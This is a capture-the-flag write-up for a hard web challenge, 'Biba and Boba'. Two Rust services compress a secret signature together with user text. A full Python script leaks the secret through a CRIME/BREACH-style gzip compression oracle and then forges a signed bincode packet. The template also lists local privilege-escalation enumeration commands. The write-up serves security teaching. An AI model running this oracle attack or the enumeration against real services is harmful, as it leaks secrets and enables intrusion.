Biba and Boba
Biba and Boba
Platform: Miptctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-14 | Status: Solved Techniques: binary_search_oracle, bincode_forgery, compression_oracle, crime_breach_attack
Summary
Task: Two Rust services where user input is compressed with a secret signature using gzip. Solution: CRIME/BREACH compression oracle attack - binary search for compression threshold to leak SECRET digit by digit, then forge valid bincode packet.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
miptctf| ID:20260314_miptctf_biba_and_boba - Tags: side_channel, gzip, compression, rust, actix_web, bincode, two_services
- Indicators: user input compressed with secret, gzip compression level 9, size limit on compressed payload, bincode serialization, two services sharing secret
- Source:
20260314_miptctf_biba_and_boba.md
Foothold
Vulnerability / Misconfiguration
- Binary_search_oracle
- Bincode_forgery
- Compression_oracle
- Crime_breach_attack
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- binary_search_oracle
- bincode_forgery
- compression_oracle
- crime_breach_attack
- Tags: side_channel, gzip, compression, rust, actix_web, bincode, two_services
Original Writeup
<details><summary>Click to expand original content</summary>Description
Самый быстрый 🚀 и безопасный 🧡 сервис 🦀, что вы когда-либо видели. ✨
Two Rust (actix-web) services in one Docker container:
- Biba (port 8080) — sender:
/send,/admin,/admin/ping,/admin/check_file - Boba (port 8081) — receiver:
/submit,/reports/create,/reports,/debug/flag_template,/debug/flag_checksum
Analysis
Architecture
-
Biba's
/send: accepts user text, createsPacket{signature: SECRET, message: user_text, time: server_time}, serializes with bincode, compresses with gzip level 9, sends POST to Boba's/submit -
Boba's
/submit: checks compressed size ≤ 1024 bytes, decompresses gzip (max 16KB), deserializes bincode, comparespacket.signature == data.signature. If match → returns FLAG (HTTP 200). If not → "wrong signature!!" (HTTP 401) -
Biba hides the flag: if Boba returned 2xx — shows "Sent in X seconds", if non-2xx — shows error body
-
SECRET:
SECRET+ 10 random digits (e.g.SECRET7597565483) -
Hint in code:
// Deserialize (is it safe?)
Debug endpoints on Boba
/debug/flag_template→MIPT{???_???????_????_???????_??????????}(masks alphanumeric characters)/debug/flag_checksum→ MD5 of the flag
Vulnerability: Compression Oracle (CRIME/BREACH)
Critical vulnerability: user data (message) is compressed together with secret data (signature) via gzip. Combined with a binary oracle (Boba rejects compressed payloads > 1024 bytes), this creates a classic compression side-channel attack.
How the oracle works:
- Biba serializes
Packet{signature, message, time}with bincode into a single byte stream:[sig_len][sig_bytes][msg_len][msg_bytes][time_len][time_bytes] - The entire stream is compressed with gzip level 9
- Gzip (LZ77) finds repeating patterns and replaces them with back-references
- If
messagecontains bytes matchingsignature, gzip compresses better (smaller output) - Boba rejects if compressed size > 1024 bytes — this is our binary oracle
Exploitation:
For each digit position (0-9) of the unknown SECRET suffix:
- Add current guess (e.g.
SECRET7) + padding to 16 characters at the start of message - Fill the rest with random data to bring compressed size close to the 1024 byte boundary
- Binary search for maximum message length that still gives compressed size ≤ 1024 (HTTP 200 from Biba)
- Correct digit gives 1 byte better compression, meaning threshold is 1 character higher
- Digit with highest threshold is correct
Key measurements:
- Threshold for random data: ~1244 characters
- Each correct digit shifts threshold by exactly 1
- After 10 iterations all 10 digits are recovered
Solution
#!/usr/bin/env python3
"""
Compression Oracle (CRIME/BREACH) attack on biba_and_boba.
Cracks SECRET digit-by-digit using gzip compression size as oracle.
"""
import requests, random, string, struct, gzip, sys, time
BIBA = sys.argv[1] if len(sys.argv) > 1 else "http://TARGET:BIBA_PORT"
BOBA = sys.argv[2] if len(sys.argv) > 2 else "http://TARGET:BOBA_PORT"
random.seed(42)
BASE = "".join(random.choices(string.ascii_letters + string.digits, k=3000))
session = requests.Session()
def send_msg(text, retries=3):
for _ in range(retries):
try:
r = session.post(f"{BIBA}/send", data={"text": text}, timeout=30)
return r.status_code == 200
except:
time.sleep(0.5)
return None
def find_threshold(prefix):
padded = prefix + BASE[len(prefix) : 16]
lo, hi = 1150, 1400
for _ in range(25):
if hi - lo <= 1:
break
mid = (lo + hi) // 2
msg = padded + BASE[16:mid]
r = send_msg(msg)
if r is None:
print(" [!] Network error, retrying...")
time.sleep(1)
r = send_msg(msg)
if r is None:
continue
if r:
lo = mid
else:
hi = mid
return lo, hi
def crack():
known = "SECRET"
for pos in range(10):
print(f"\n[*] Digit {pos + 1}/10 (known: {known})")
results = {}
for digit in "0123456789":
guess = known + digit
lo, hi = find_threshold(guess)
results[digit] = lo
print(f" {guess}: {lo}-{hi}")
sorted_r = sorted(results.items(), key=lambda x: x[1], reverse=True)
best = sorted_r[0]
second = sorted_r[1]
diff = best[1] - second[1]
known += best[0]
print(f" => digit={best[0]} (diff={diff}) | SECRET={known}")
return known
def get_flag(secret):
def bs(s):
b = s.encode()
return struct.pack("<Q", len(b)) + b
payload = bs(secret) + bs("x") + bs("t")
compressed = gzip.compress(payload, compresslevel=9)
r = session.post(
f"{BOBA}/submit",
data=compressed,
headers={"Content-Type": "application/octet-stream"},
timeout=30,
)
return r.status_code, r.text
# Verify connectivity
print(f"[*] BIBA={BIBA} BOBA={BOBA}")
try:
r = session.get(f"{BIBA}/", timeout=10)
print(f"[*] Biba OK: {r.status_code}")
r = session.get(f"{BOBA}/debug/flag_template", timeout=10)
print(f"[*] Flag template: {r.text.strip()}")
except Exception as e:
print(f"[!] Connection error: {e}")
sys.exit(1)
secret = crack()
print(f"\n[+] SECRET = {secret}")
code, body = get_flag(secret)
print(f"[+] {code}: {body}")
Solution steps
- Reconnaissance: discovered two services, debug endpoints, confirmed shared filesystem
- Code analysis: user message is compressed TOGETHER with secret signature in one gzip stream
- Binary oracle discovered: Boba rejects compressed payloads > 1024 bytes
- Implemented compression oracle: for each digit, correct guess compresses 1 byte better
- Cracked SECRET character by character (10 digits × 10 variants = ~100 requests per digit, ~1000 total)
- Crafted valid bincode+gzip packet with cracked SECRET
- Sent directly to Boba's /submit → got the flag
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR